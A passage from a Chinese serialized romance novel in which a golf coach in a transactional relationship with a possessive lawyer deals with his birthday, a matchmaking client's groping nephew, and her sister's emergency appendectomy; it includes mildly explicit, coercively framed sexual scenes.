温昭宁特地调休了半天,她花了一个下午的时间,买蛋糕,备菜,给贺淮钦准备了一个简单家常的生日惊喜。 平时准时下班的贺淮钦,那天一反常态地没有准点回来。 温昭宁坐在客厅里,默默地等了两个多小时,都不见贺淮钦的踪影。 她很想打电话问一下,但是又觉得这样太越界了,毕竟,她既不是他的老婆又不是她的女朋友,根本没有资格去问他几点回家。 又等了一个多小时,贺淮钦还是没有回来。 温昭宁等得饥肠辘辘,她想着再等半个小时,如果贺淮钦还不回来,她就自己吃了。 她窝在沙发里,边等边刷朋友圈,动态刷新时,她看到了沈雅菁十分钟前发的一条朋友圈。 【Happy birthday!愿某位先生万事顺遂!年年有今日,岁岁有今朝!】 文案的最后附上了一排红色的爱心。 配图是九宫格的照片。 照片的正中央是一个极其奢华的多层生日蛋糕,其余都是美食特写、红酒碰杯之类的聚会照,最后一张是沈雅菁的自拍照。 沈雅菁对着镜头比耶,看似随意,但她的自拍角度恰好将身边那位男士的手拍了进去,那只手骨节分明,修长有力,随意地搭在白色的餐布上,手腕上的百达翡丽鹦鹉螺更是抢眼。 那是贺淮钦的手表。 今天早上,温昭宁亲眼看着他戴上去的。 原来他今天晚归,是和女朋友庆祝生日去了。 也是,这么重要的日子,当然是和正牌女友度过才对。 温昭宁退出朋友圈,按熄了手机屏幕,一个人静静地坐在客厅里。 苏云溪的质疑和告诫适时在耳边响起。 是啊,她在干什么? 这只是一场交易。 贺淮钦救青柠,助她离婚,而她留在他身边一年,满足他的生理需求,他们不过是各取所需,除此之外,什么都不该有,什么都不能有。 她不该因为他偶尔的温柔就忘记初衷,更不该因为他的片刻陪伴而心生妄念。 陷进去,就是万劫不复。 赚钱,守住自己的心,才是她现在最重要的事。 温昭宁想通后,起身往餐厅走。 菜都凉了,她热了两个,自己吃饱后,把剩余的菜都打包放好,准备明天带去俱乐部当午餐。 家政阿姨正好过来搞卫生,温昭宁把那个一口未动的蛋糕送给了她。 “哎哟,这怎么好意思呢,温小姐你自己吃吧。”家政阿姨连连推拒。 “阿姨您就拿着吧,我减肥,买多了,吃不了,您家有孩子,正好拿回去分了。” “好,那就谢谢温小姐了。” 温昭宁上楼,将包装好的那对袖扣随手扔进了床头柜的抽屉里。 今天不是谁的生日,今天就是一个平平无奇的周五。 -- 九点,温昭宁洗完澡,准备看个电影就睡觉。 她刚打开投影,手机响了。 是上官太太蒋秋萍打来的电话。 “宁宁,还没睡觉吧?” “没有呢,上官太太。” “会打麻将吗?” “会。” “那你来尚星会所一趟吧,我们三缺一,你来搭个手,罗太太和傅太太都在呢。” 罗太太和傅太太都是上官太太后来介绍给她的客户,她们三人在温昭宁那里买了很多课,温昭宁自然不能拒绝。 “好,我现在就过来。” 温昭宁挂了电话后,迅速换好衣服,化了一个淡妆,匆匆赶往会所。 包厢里,几位珠光宝气的太太正在聊天,见温昭宁进来,上官太太蒋秋萍立刻给她道歉。 “抱歉啊宁宁,这么晚了还打扰你休息。” “没事的上官太太,我睡得晚,正愁不知道该怎么打发时间呢。” “来来来,既然温教练来了,那我们就开始吧。”罗太太说。 “好。” 四人上了牌桌。 从前,温昭宁的母亲也爱打麻将,温昭宁跟在她身边,耳濡目染,一手麻将打得也不错,但今天,她没敢拿出自己真正的技术,而是恰到好处地输一点,哄得几位太太心情愉悦。 几圈过后,坐在她对面的罗太太忽然开口道:“温教练啊,看你年纪轻轻,又漂亮又有本事,一个人带着孩子不容易吧,要不要我给你介绍个对象?” “什么对象啊?”上官太太看罗太太一眼,“可别拿什么歪瓜裂枣来糊弄我们宁宁。” “当然不会是歪瓜裂枣了,我侄子,是个作家,你们之前也见过的呀,戴副眼镜,长得文质彬彬的,气质和温教练挺搭的,他去年离的婚,没孩子。” “我说呢,罗太太今天怎么忽然说让宁宁过来做我们的麻将搭子,原来是醉翁之意不在酒啊。”上官太太侧身拍拍温昭宁的手,“宁宁,罗太太那侄子人是还可以,但想不想认识随你的心,你可千万不要有压力,我们不强做媒的。” 温昭宁自然不能直接拒绝,驳了罗太太的面子。 她笑着看向罗太太:“谢谢罗太太想着我,能认识您的侄子是我的荣幸,只是我刚刚结束了一段婚姻,心里的创伤还没有痊愈,这么快接触您侄子,对他也不公平。现阶段的话,我只想好好工作,暂时不考虑个人问题。” 温昭宁的回答滴水不漏,既表达了感谢,也委婉地拒绝了相亲,理由充分且合理。 “也是咯,宁宁这才刚离婚,也不用这么着急。”上官太太帮腔,“再说了,女人也不是非要靠男人才能活得出彩,婚姻对女人来说,其实就是个牢笼,像我们,个个都是关在笼中的鸟,只不过是笼子比别人华丽一点而已。说到底啊,自由才是最珍贵的,宁宁应该趁现在好好享受自由才对。” 罗太太听了,虽然觉得扫兴,但也没有再强求。 -- 麻将打到半夜才散。 温昭宁的手机开了静音,等到散场,才看到贺淮钦给她打了六个电话,第一个是一个小时前打的,剩下五个就在刚刚,十分钟内,拨了五次,可惜,温昭宁都没有接到。 上官太太派了车送她,她上车后,给贺淮钦回电话。 贺淮钦秒接。 “你在哪?”他的语气很不好。 “陪客户打麻将。” “下班时间陪客户打麻将,你们俱乐部的服务真周到啊。” 温昭宁没理会他的阴阳怪气,只是说:“我在回来的路上了,回来再说。” 说完,她直接挂了电话。 半个小时后,温昭宁回到家里。 客厅没有开大灯,只有角落里一盏落地灯亮着。 贺淮钦坐在沙发上,他的脸在晦暗的光线下布满了阴鹜,眼神里闪烁着压抑的怒火。 “你到底是高尔夫教练还是麻将教练?”他开口就弥漫着一股浓重的火药味。 温昭宁自然知道他不是真心向她求教,但她还是顺着他的话茬平静地回答:“我是个高尔夫球教练。” “现在几点了?”贺淮钦指了指他手表,“晚归不知道提前和我说一声吗?” 温昭宁瞥了一眼他手腕上的百达翡丽鹦鹉螺,想到沈雅菁的朋友圈,气不打一处来:“你晚归也没和我说啊。而且,我以为你今天不回来。” 她以为贺淮钦今天生日,他和他的亲亲女朋友一起过完生日,就直接去他女朋友那里留宿了,谁知道他今天还会来她这里。 “什么不回来?我哪天没回来?” “你可以不回来啊,我也没有要求你天天回来。”她咕哝一声,“上班还有休息日呢,到你这里就只有姨妈日,真是比万恶的资本家还没人性。” 这一个多月里,除了温昭宁生理期,贺淮钦天天晚上折腾她,活像没开过荤似的,也不怕肾亏。 “你说什么?”贺淮钦没听清,“说大声点。” “不说了,我去洗漱,我累了,想睡觉。” 温昭宁懒得和他吵,转身往二楼走,刚上楼,就看到上官太太给她发来了一条语音。 她以为是上官太太关心她有没有安全到家,就直接把语音点开了。 “宁宁,罗太太和你介绍对象的事情我事先不知道,今晚真是抱歉了。” 温昭宁正要回信息,贺淮钦忽然从她身后窜出来:“什么介绍对象?” “你吓我一大跳。”温昭宁完全没注意他什么时候跟上来的,这么大的人怎么一点脚步声都没有。 “温昭宁,你才刚离婚,就迫不及待地要去相亲?” “我没有。” “那你今晚到底去干什么了?” “我说了打麻将,你爱信就信,不信也别追问了,我和你只是交易,我没有义务将我的私生活事无巨细地汇报给你。” 贺淮钦被她气得太阳穴突突地跳,缓了好一会儿,他才冷静下来。 “我今天生日。”贺淮钦说。 “是吗?”温昭宁装作完全不记得的样子,“那祝你生日快乐咯。” “下去陪我吃蛋糕。” 温昭宁心想他都庆祝过生日了,也吃过蛋糕了,还要让她再陪他过一次,这算什么?雨露均沾吗? 她才不需要他的雨露均沾。 “不了,陪你庆祝生日给你提供情绪价值是女朋友该做的事,我又不是你女朋友,我只是你的交易对象,我没义务。” “交易交易,满嘴的交易。” 贺淮钦一把捏住温昭宁的下巴,另一只手猛地揽住她的腰,将她狠狠按进怀里。 两人身体紧密相贴,毫无缝隙。 “行,那就别给我提供情绪价值,直接睡!” 他俯首,带着惩罚和浓重占有欲的吻,如同暴风雨般落下。 第一卷 第28章 将她扛起来 温昭宁偏头想躲,却被贺淮钦吮住了脖子。 今晚包厢内,罗太太和傅太太都抽烟,温昭宁身上头发上都沾染了很重的烟味。 贺淮钦嗅到她身上的味道,眉头拧得更紧。 他一把将她扛起来,就往浴室里走。 “贺淮钦!你干嘛!”温昭宁惊慌失措,捶打着贺淮钦的后背,“放我下来!快放我下来!” 贺淮钦充耳不闻,他扛着她,一脚踢开浴室的门,走到淋浴房内,一手放下她,一手拧开了开关。 恒温的水流一泻而下,瞬间将两个人都浇了个透。 “你神经病啊!” 温昭宁转身想跑,被贺淮钦一把拉回来,禁锢在冰冷的瓷砖墙壁和他的身体之间。 贺淮钦穿着白色的衬衫,衬衫淋了水,变得近乎透明,那薄薄的布料紧贴在他的胸前和手臂上,勾勒出紧实的肌肉轮廓和流畅的腰线,他平日西装革履的矜贵气质在这一刻荡然无存,取而代之的是一种野性不羁的性感。 温昭宁也没有好到哪里去,她的连衣裙湿透后,紧紧裹在她的身上,勾勒出玲珑诱人的曲线。 两人在浴室蒸腾的雾气中对视。 “你到底想干什么?”温昭宁瞪着他。 “你身上的烟味很难闻!”贺淮钦说着,指腹顺着水流用力揉擦着温昭宁纤细的脖颈、肩膀,动作粗暴。 “你出去,我自己会洗!” 温昭宁想要推开他,贺淮钦直接将她扣回怀里,低头攫住了她的唇…… 那一晚,贺淮钦在浴室用水、用吻、用他的气息将她从头到脚从里到外都重新标记了一遍。 温昭宁最后差点在浴室里缺氧。 结束后,贺淮钦用浴巾将她擦干,包裹起来,抱回床上,然后,又狠狠折腾她一回。 第二天,温昭宁在一阵深入骨髓的酸痛中醒来。 她睁开眼睛时,身侧的位置已经空了。 贺淮钦不知道是什么时候起的,她一点都没有听到。 床单上的褶皱和暧昧的痕迹让她回想起贺淮钦昨晚的失控。 温昭宁想不明白,他都已经去和沈雅菁一起庆生了,为什么不直接在沈雅菁那里睡,还要回来折腾她! 她起床,披上睡袍,走进浴室。 浴室里亮着灯,温昭宁一进门就看到那面巨大的镜面玻璃,上面残留着一些凌乱的手掌印和指痕,有些位置高,有些位置低,带着拖曳的模糊感。 昨晚太刺激了。 她在他怀里都…… 温昭宁的脸顿时红透了,她怕家政阿姨会看到,赶紧抓起一旁的擦镜布,用力地将那些痕迹抹掉。 -- 温昭宁冲了个澡换好衣服下楼,每走一步,心里都会默默将那个狗男人骂一遍。 她下楼后,看到贺淮钦已经坐在餐厅里喝咖啡了。 他一身深灰色的高定西装,白衬衫一丝不苟,领带系得端正,整个人沐浴在晨光里,矜贵、沉稳,浑身散发着成功精英的禁欲感和距离感,仿佛昨晚失控掠夺,在她耳边喘息低吼的男人根本不是他。 装货! “温小姐,你起来啦,早餐想吃什么?”家政阿姨热情地问她。 温昭宁看了一眼贺淮钦的骨瓷盘里是简单的三明治和白煮蛋。 “我吃个蛋就可以了。”温昭宁说。 “好的,白煮蛋在锅里。” “嗯。” 贺淮钦听她和家政阿姨对话,声音有些哑,抬眸看了她一眼。 明明是毫无情绪的一眼,温昭宁却又莫名燥热起来。 她无视了贺淮钦的目光,走到冰箱边,想找瓶冰水喝,一打开冰箱门,看到冰箱的冷藏层放着一个完整的没有拆封的蛋糕盒子。 蛋糕盒子是浅蓝色的,上面印着“双喜”的LOGO。 温昭宁呼吸一滞。 贺淮钦昨晚带回来的蛋糕和她昨天准备的生日蛋糕是一个牌子的,温昭宁之所以买这个牌子的蛋糕,是因为当年他们曾用“双喜”家的蛋糕庆祝在一起一个月。 是的,他们在一起的时间太短了,短短三个月里,既没有覆盖到她的生日,也没有覆盖到他的生日。 他们在一起时吃过的唯一一个蛋糕是当时温昭宁为了庆祝他们在一起一个月买的。 温昭宁清楚地记得,当时的蛋糕是芒果和奥利奥的夹心。 那贺淮钦呢?他也记得,还是巧合? “你……” “阿姨,冰箱里的蛋糕,你等下带走处理掉。”贺淮钦冷冷吩咐。 他说完这句话,起身径直走向玄关,换上皮鞋,开门离开。 “砰”的一声。 关门声音不响,却让温昭宁的心重重地沉下去。 家政阿姨看着冰箱里的蛋糕,有些无措:“又一个蛋糕吗?温小姐你昨天给我那个还没吃完呢。” “按他说的做吧。” “好。” -- 那天之后,贺淮钦连着五天没有回来。 温昭宁表面平静,但心里却默默做着戒断反应。 尽管她不断提醒自己这只是交易,贺淮钦不回来她乐得清闲,但其实这一个多月里,她的身体和习惯已经记住了他的存在,夜里她一个人躺在宽大的床上时,还是会不自觉地想起他怀抱的温度。 而这几天里,还有一件令温昭宁烦心的事情,那就是罗太太竟然没放弃给她介绍对象,她直接带着她侄子来俱乐部找她了。 周一,罗太太约了下午两点的课,温昭宁提前十分钟来到练习场,看到罗太太已经等在那里了,她身边还站着一个年轻的男人。 男人看起来二十七八岁,戴着一副黑框眼镜,穿着白色的POLO衫和卡其色的裤子,身形清瘦,眼神也有些飘忽。 温昭宁心里有不好的预感,但她还是热情地和罗太太打招呼。 “罗太太,今天来得这么早啊。” “是啊。我家阿昌,一直催我快点出门呢。”罗太太指指身旁的男人,笑着给她介绍,“温教练,这就是我之前和你提过的侄子,他叫姚家昌,是我姐姐的独生子,阿昌,这是温教练。” 姚家昌推了推眼镜,有些不好意思地开口:“温教练你好,我……我对高尔夫球很有兴趣,想跟着你一起学习。” 他说完,脸微微红了。 罗太太看姚家昌一眼,对温昭宁打趣:“你看看他,看到女孩子还脸红呢,是不是一点都不像是结过婚的男人?不过我家阿昌之前的那段婚姻的确也没有维持多久,他人老实,结果遇到了个不安分的女人,那女人刚结婚就和别的男人勾勾搭搭的,还私吞阿昌的稿费,不要脸的很,幸亏阿昌发现得及时,不然呐,他以后有苦吃。” 温昭宁对姚家昌上一段婚姻孰是孰非一点都不感兴趣,如果罗太太不是她的客户,她肯定掉头就走了,可惜,她现在在上班,她心里再不情愿,脸上还得维持着专业的笑容。 “那罗太太的意思是,姚先生先用您这边的课时上课对吗?” “对对对,先我这边上着吧,如果他学得好,后面再单独买课,你看行吗?” “行,那我们开始吧。” 这是温昭宁入职俱乐部以来第一次一带二,整个教学过程非常不顺畅。 姚家昌显然对高尔夫球毫无天赋和兴趣,面对温昭宁的指导,他时不时走神,同一个动作温昭宁说五六遍,他依然不得要领。 不过,罗太太也根本不在乎她教了什么,她一门心思想要撮合温昭宁和姚家昌。 “哎呀阿昌,你站过去点,站到温教练身边去,让温教练好好教教你握杆。” “阿昌,你主动点啊,多和温教练聊聊嘛。” “温教练,你别看我们阿昌现实生活中呆呆的,他的小说在网上很火的呢,都翻译到海外去了!” “……” 罗太太撮合到最后,干脆借口去打电话,直接走开了给他们制造独处的空间。 温昭宁虽然反感罗太太在她拒绝了的前提下还强行给她介绍对象,但她见姚家昌呆呆的,并未将不满迁怒于他。 她还是秉持着服务客户的态度耐心地对他进行教学。 可温昭宁没想到的是,这个书呆子也并非表面看起来那样人畜无害,就在她走到姚家昌的身边准备帮他调整手腕角度的时候,姚家昌的手竟然悄无声息地朝温昭宁的腰间伸去。 “姚先生,你干什么?”温昭宁一把将姚家昌推开,“请你自重,如果你继续这样,我会报警!” “我姑姑刚刚和我说了,我们相亲了那就是一对了,可以有亲密的肢体接触。”姚家昌嘿嘿笑着,又朝温昭宁摸过来,“温教练,你的腰好细啊。” “呼——砰!” 就在姚家昌的手即将碰到温昭宁的时候,一道凌厉的破空声由远及近。 温昭宁转头,看到一颗白色的高尔夫球如同出膛的炮弹,以惊人的速度和精准的角度,不偏不倚地砸在了姚家昌的额头上。 “啊——!” 姚家昌发出一声惨叫,整个人被砸得一个趔趄,向后跌倒在地上,他鼻梁上的黑框眼镜,直接被砸飞出去,落在了草坪上。 “谁?谁砸我?”姚家昌大喊着。 温昭宁心脏狂跳,她转头寻找球飞来的方向,那是练习场另一端的高级VIP专用打击位,平时都是老板霍郁舟和他的朋友会在那里打球。 逆着光,温昭宁看不清打球人的具体面容,只能看到一个挺拔的男性身影正缓缓收杆,姿态从容。 怎么有点像是贺淮钦? 可他不是不会打高尔夫吗?之前在温昭宁这里买了课,也就来上过一次。 “怎么回事?怎么回事?”罗太太在外头听到动静,慌忙跑回来,她看到侄子姚家昌倒地哀嚎,额头肿包,眼镜都不见了踪影,怒气值瞬间飙升,“谁打的球?谁打伤了我们家阿昌?” “那里!”姚家昌指着VIP区的方向告状,“姑姑,球是从那里飞来的!” 温昭宁知道罗太太不是好惹的主,她赶紧镇定下来,走到罗太太面前解释:“罗太太,练习场上有时候会有流弹,这纯属意外……” “这可不是什么意外,我故意的,打的就是他!” 贺淮钦的声音传来。 温昭宁回头,看到贺淮钦、霍郁州和邵一屿一行人正往他们站立的方向走来。 还真是贺淮钦! 原来他会打高尔夫球!不止会,看来技术还不一般!毕竟,一般人绝对打不出这样兼具力量与精准的一球。 “你是谁?”罗太太不认识贺淮钦,很生气地指着他,“你知道我是谁吗?你竟然敢打我侄子!小心我告你!” “我管你是谁。”贺淮钦走到姚家昌身边,一脚蹿在姚家昌的胳膊上,“是这只咸猪手不老实,非礼温教练,要告也是温教练告他!” “谁说我们阿昌非礼她了?你们有证据吗?” “我们三就是人证,你要觉得不够……” 贺淮钦拍了拍霍郁州。 霍郁州:“监控管够。” 罗太太一听有监控,气势矮了几分,但她也并不打算就此作罢:“你们别嚣张,我老公可是蔚海集团的老总罗海,你们得罪我可没有好果子吃。” “我怎么听说蔚海集团正在打股权强制划转的官司?”霍郁州拍了拍贺淮钦,“官司打了吗?” “还没有打,因为没有律所愿意接手这个烂摊子,罗海前两天才求到耀华来。” 罗太太震惊:“什么股权强制划转的官司?” 贺淮钦冷笑:“罗太太,你老公都快破产了,你有闲情给你侄子找对象,还不如赶紧给自己找下家。” “什么破产?你胡说!你别吓唬我,我现在就给我老公打电话。” 罗太太走到边上,拨通了老公罗海的电话。 她把高尔夫球场发生的一切转述给罗海,罗海瞬间就把电话挂了,没一分钟,贺淮钦的手机响了起来。 正是罗海来电。 贺淮钦接起来,按了免提。 罗海语气恭敬地道歉:“贺律,听说我太太在外冲撞了您,您可千万别和她一个妇人一般见识,蔚海的官司还指望您能帮帮忙呢。” “我帮不帮忙,那得看罗太太什么态度了。” 罗太太听老公这么低三下四地给贺淮钦打电话,顿时明白了自己没有嚣张的资本。 她一把将地上的姚家昌攥起来,给温昭宁道歉。 “对不起温教练,今天是我们无礼了,请你原谅我们。” 老板在这里,自然轮不到温昭宁来裁决这件事,她看向霍郁州。 霍郁州:“念在你们初犯且认错态度不错,今天就不报警了,但是,以后别再出现在温教练面前,还有,课时费不退,全都当做给温教练的精神损失费了,滚!” 第一卷 第29章 脱的次数最多 解决了罗太太,霍郁州和邵一屿很自觉地走开了,把空间让给温昭宁和贺淮钦。 温昭宁看着贺淮钦。 他新理了发,人看起来更精神更英俊了。 五天不见,没想到今天一碰面就给了她一个大惊喜。 “你会打高尔夫球?”她问。 贺淮钦摇头:“那一球是误打误撞。” “你当我三岁小孩子吗?”温昭宁不满,“你既然会打高尔夫,那为什么还要来找我学球?” 她想起他先前装模作样,连挥杆都不会的样子,就觉得自己被耍了。 贺淮钦沉了口气,比她更不满:“温昭宁,五天没见,你要问我的就只有这个是吗?” 五天,他去意大利出差整整五天,起初是故意不告诉她出差的事,想等她自己问,可是,这五天温昭宁连一个电话一条信息都没有,手机安静到让他恼火,对于他主动制造的分离和不确定性,她给出了最彻底的反应——没有反应。 这意味着什么? 意味着她真的把“交易”两个字刻进了骨子里,严格执行,绝不投入一丝多余的情感?还是说她的心里真的没有一点点他的位置,所以他的来去根本无关痛痒? 无论是哪种可能,都让贺淮钦心口堵着一股怒火! “你想让我问什么?”温昭宁垂眸,避开他的目光。 问他在哪? 问他在干什么? 问他什么时候回来? 她可以吗? 万一他是在沈雅菁身边,那她的询问岂不是自取其辱? 人贵有自知之明。 在这段关系中,她摆正自己的位置比什么都重要。 “嘴不会用,那就拿来吻我。” 贺淮钦说着,又要低头来吻她。 温昭宁赶紧躲开:“这里到处是监控!” “那走。” “去哪?” “找个没监控的地方。” 贺淮钦拉上温昭宁的手就往外走。 他的车停在俱乐部的门外,一辆奔驰大G,经典方盒子,又豪又野。 贺淮钦把温昭宁塞进了车后座,自己也快速上车,“咔嗒”一声,锁死了全车中控锁。 车厢内瞬间形成一个密闭的空间,他身上那股清冽又带着压迫感的气息充斥了车厢里的每一寸空气。 贺淮钦将她桎梏在身下,扣住她的后脑勺,在她的唇齿间攻城略地。 温昭宁被他吻得浑身酥软,她能感觉到他的恼火,也能感觉到他的欲望。 这样吻下去,最后肯定难以收场。 上次在浴室,他已经将她折腾得够呛,难不成今天又要在车里? “不要。”温昭宁用力推拒,“这里没有套。” “谁说我要在这里?” “那你现在在干什么?” 她都感觉到他身体的变化了! 贺淮钦深邃的眼眸紧锁着温昭宁被吻得红肿潋滟的唇瓣,许久,忽然将头埋进她的颈窝里,深长叹一口气:“温昭宁,你是不是没有心?” 他这一声叹息,叹得温昭宁心头五味陈杂。 她正要说话,手机忽然响了起来。 是个陌生的号码来电。 温昭宁原本不想接,但电话执着地响了一遍又一遍,她便当着贺淮钦的面接了起来。 “你好,哪位?” “你好,请问你是晚媞的姐姐吗?”电话那头传来一道焦急的女声。 “我是。” “姐姐你好,我是晚媞的室友,晚媞今天上午忽然腹痛,现在在医院,她让我打电话给你,你现在方便过来吗?” 温昭宁先前被陆恒宇炸过一回,现在接到这样的电话,已经有了警觉性。 她挂了这个陌生的电话,立刻给妹妹温晚醍回拨过去。 电话响了一会儿,那头有人接起来,不过还是刚才那个女孩子的声音。 “姐姐,还是我。晚媞去做检查了,她的手机在病房里,我不是骗子,我真的是她的室友,我叫胡星。” 温昭宁没有再怀疑:“妹妹,麻烦你把医院的地址发给我,我马上过来。” “好。” 温昭宁挂了电话。 贺淮钦转头看着她:“发生什么事了?” “我妹妹,忽然腹痛,现在在医院,我得马上过去。” “我送你。” 贺淮钦丢下这句话,推开车门下车,绕到了驾驶座。 车子启动,迅速地驶出俱乐部地界。 温昭宁坐在后座,看着贺淮钦的侧影,他身上先前那股子危险的气息已经完全消失了,取而代之的是让她感觉沉稳可靠的安心感。 -- 两人以最快的速度赶到医院。 车刚停稳,温昭宁就快速推门下车冲了出去,贺淮钦紧随其后。 他们在病房看到了脸色惨白,蜷缩着身体痛苦呻吟的温晚醍。 “姐……”温晚醍第一眼先看到温昭宁,下一眼看到温昭宁身边的贺淮钦,她的脸色顿时更白了,“姐……他……” “你先别说话了。”温昭宁握着温晚醍的手,看向旁边的医生,“医生,现在什么情况?” “急性阑尾炎,已经出现了化脓的迹象,比较危险,需要立刻手术。” 手术需要家属签字。 温昭宁看着手术同意书上那些冰冷的专业术语和风险须知,手指颤抖,有点握不住笔。 就在这时,一只温热干燥的手掌轻轻覆在了她颤抖的手背上。 是贺淮钦,他不知什么时候站到了她的身侧。 “医生,麻烦安排最好的麻醉师和主刀医生,费用不是问题。”他开口。 医生看了他一眼,点头:“好。” 贺淮钦拍了拍温昭宁的手,低声安抚:“签吧,不会有事的。” 他语气笃定,像给温昭宁喂了一颗定心丸。 温昭宁赶紧在手术同意书上签下了自己的名字。 妹妹温晚醍被推进手术室,术中红灯亮起。 等待是漫长而煎熬的。 温昭宁坐在手术室外的长椅上,双手紧握,眼睛一眨不眨地盯着手术室的门,贺淮钦下楼办好住院手续后,也没有走,他立在不远处的窗边,沉默地陪着,期间,他打了两个电话,温昭宁隐约听见是在安排术后的病房和护工。 一个多小时后,手术室的门打开,主刀医生走出来。 “手术很成功,病人麻药苏醒后就会送去病房。” “谢谢医生,辛苦了。” 温昭宁松了一口气。 贺淮钦走到她身边,揽住她的肩膀安抚地拍了拍。 温昭宁转头看着他:“贺律,今天谢谢你了,手术费用我晚点转给你。” 贺淮钦眼底的温度瞬间又下去了:“嗯,手术费用转给我,还有我今天送你来的车费,一起转给我。” 温昭宁听出来他又在翻旧账,笑了。 “笑什么?”贺淮钦没好气。 “笑你记仇。” “是的,我记仇,所以还是那句话,嘴不会用,就拿来吻我。”他附到她耳边,用只有她听得到的声音说,“要是还不会用,我也可以教你做点别的事。” 别的事? 温昭宁:“……” -- 贺淮钦律所有事,先走了,说晚上再来。 温昭宁回到病房。 温晚醍麻药刚醒,人还气若游丝,就攒劲开始八卦:“姐,你……你和他又在一起了?” 温昭宁一时不知道该怎么和妹妹形容她和贺淮钦的关系,毕竟妹妹还没谈过恋爱,她怕坦诚自己和贺淮钦的关系会影响妹妹的恋爱观。 “你先别说这些,好好休息吧。” “你们真的在一起了?” “嗯。” 温昭宁含糊地认下了。 睡在一起,怎么不算是另一种在一起呢。 温晚醍听到姐姐承认,苍白的脸上荡开一丝笑意。 “太好了……兜兜转转,你们还是在一起了……当年……如果不是陆恒宇要强娶你……或者那次你们私奔成功……你们娃都打酱油了……” 温昭宁揉揉太阳穴,妹妹温晚醍不知道,她和贺淮钦的娃已经会打酱油了。 青柠的身世,之前是不能和家里说,现在是不知道该怎么和家里说。 “晚媞,其实……” “你好,请问这是温晚醍同学的病房吗?” 病房门忽然被推开,一道沉稳的男声传来。 温昭宁回头,看到一位穿着风衣的男士站在门口,这位男士约莫三十岁出头,面容英俊,气质更是儒雅。 “是的,请问你是?” “我是宋青宴。” 病床上的温晚醍在看到来人的瞬间,眼睛倏地睁大,向来大大咧咧的她,脸上迅速飞起两朵明显的红晕,声音也变得细如蚊呐:“姐,这是我们学校的宋教授。” 温昭宁捕捉到妹妹这罕见的羞怯姿态,心中立刻了然,妹妹温晚醍应该是喜欢这位宋教授。 “宋教授,你好!”温昭宁起身相迎,“我是晚媞的姐姐,我叫温昭宁,谢谢你来看她。” “你好。” 宋青宴手里拿着一束清新的百合花和一个果篮,他把果篮递给温昭宁,捧着花走到温晚醍的病床前,将花束放在了床头。 “我听胡星说你阑尾炎发作,动了手术,现在感觉怎么样?”宋青宴的言辞保持着师长的分寸感。 “还好。” 宋青宴点点头。 两人忽然就无话了。 病房里充斥着一种暗流汹涌的安静,温昭宁意识到自己可能有点碍事,赶紧找借口说要去打水,拎着水壶走出了病房。 她刚走到门口,就听妹妹温晚醍开口:“你不是让我离你远点吗?你还来看我干什么?” 温昭宁:“……” 这两人到底什么关系? -- 温昭宁在医院楼下溜达了一圈,再上楼时,宋青宴已经走了。 “晚媞,你和宋教授什么关系啊?”温昭宁忍不住好奇。 “我喜欢他,他不喜欢我。” “他不喜欢你?” 温昭宁怎么觉得看着不像啊,刚才宋青宴看着温晚醍的眼神,并不清白。 “我表白过,但他道德感特别强,说自己绝对不和他的学生谈恋爱。” “那你放弃了吗?” “没有,我在等,等我毕业不是他学生的那一天,再去追他。” 妹妹温晚醍从小到大都是个目标明确的人,她性格直率,爱憎分明,做事有规划,执行力又强,很少犹豫不决或随波逐流,当年,父亲和陆家沆瀣一气,是她第一个站出来,支持温昭宁和贺淮钦私奔。 她甚至放言:“如果陆家不罢休,大不了就让我替你去嫁那个陆恒宇。” 妹妹的全力支持,让温昭宁一度真的下定决心为自己和贺淮钦的感情搏一搏,只可惜,她最后依然没能走掉…… 晚上八点多,贺淮钦又来医院了。 他和宋青宴一样,带着果篮和花,另外还多了一个纸袋。 温晚醍一见他就喊:“姐夫,你来啦。” 姐夫? 这个称呼一出,病房里的空气瞬间像是凝住了。 贺淮钦蹙眉,看向温昭宁。 温昭宁脸色闪过一丝尴尬,她赶紧冲温晚醍使眼色,示意她不要乱喊。 温晚醍不解:“我不可以喊姐夫吗?” 要知道,温晚醍可不是随随便便会喊人姐夫的人,温昭宁和陆恒宇结婚六年,她愣是忍着一声姐夫都没有喊过陆恒宇,见面就叫他“喂”。 温昭宁正准备转移话题,就听贺淮钦抢在她前头开口:“可以。” “好嘞,姐夫。” 这两句“姐夫”明显把贺淮钦叫爽了,那张冰山脸难得融化,冲温晚醍温和地笑了笑,温晚醍见这姐夫这么平易近人,又想开口说什么,温昭宁赶紧拖着贺淮钦的胳膊,将他拉到了门外走廊里。 “拉我出来干什么?”贺淮钦看着温昭宁。 “我妹刚动完手术,让她好好休息一下。” “你妹妹的嘴比你甜多了。” 温昭宁就知道他要在称呼上做文章,她没接话,指着他手里的袋子问:“这纸袋里装着什么?” “你的换洗衣服。” 温昭宁晚上要陪夜,正愁没有换洗衣服呢,贺淮钦倒是及时。 “谢谢。” “我随便拿的,看看合不合适。” 温昭宁随手在袋子里扒拉了一下,他说随便拿,还真是随便拿,衣服和裤子颜色完全不搭,审美很直男,但她的内衣裤却是成套的,拿的还是她最喜欢穿的那一套。 贺淮钦见温昭宁的视线落在那套内衣裤上,眉梢微挑:“你最喜欢穿这套没错吧?” 温昭宁耳朵一热,赶紧用外衣盖住,敷衍道:“都一样,没什么最喜欢的。” “是吗?我怎么记得这套我脱的次数最多。” 温昭宁:“……” 狗男人记什么不好记这个! 第一卷 第30章 他们的合照 温晚醍手术之后,住院一个礼拜。 这一周,温昭宁每天俱乐部和医院两头跑,她上完课就会去医院照顾妹妹,贺淮钦也几乎天天来,有时实在太忙走不开,也会派陈益过来,看有什么需要帮忙。 温晚醍术后只能吃一些易消化的食物,贺淮钦联系了营养师和私厨,哪怕只是粥、面、馄饨这类流食,也做得花样百出,既清淡又鲜美, 一日三餐,都用保温食盒装着,准时准点地送到医院,温度永远恰到好处,不会烫口也不会凉掉。 温晚醍原本痛苦的术后恢复期,也因为期待“今天吃什么”而变得有了一丝乐趣。 “姐,这个粥里有松茸诶!” “这蛋羹也太滑嫩了吧!” “姐,你快尝尝这面,汤底特别清爽特别香!” 温昭宁见妹妹温晚醍每天吃得舒心,也感受到了贺淮钦那份超越形式的用心,物质帮助尚可计算,但这种渗透到生活细节里的、充满温情的照顾,让她欠下的人情变得更重也更难以偿还。 温晚醍出院那天,贺淮钦亲自来接她们,拿行李、提包,一个不落。 “姐,这姐夫是什么神仙姐夫啊!贴心,能处!”温晚醍已经三百六十度全方位无死角地被这位姐夫收买了。 温昭宁看了贺淮钦一眼,心防在悄悄瓦解。 贺淮钦今天还是开了他的那辆大G,这线条冷硬的车子刚在女生宿舍楼前停下时,就已经吸引了不少目光,而当贺淮钦从驾驶座上下来,更是引起不小的骚动。 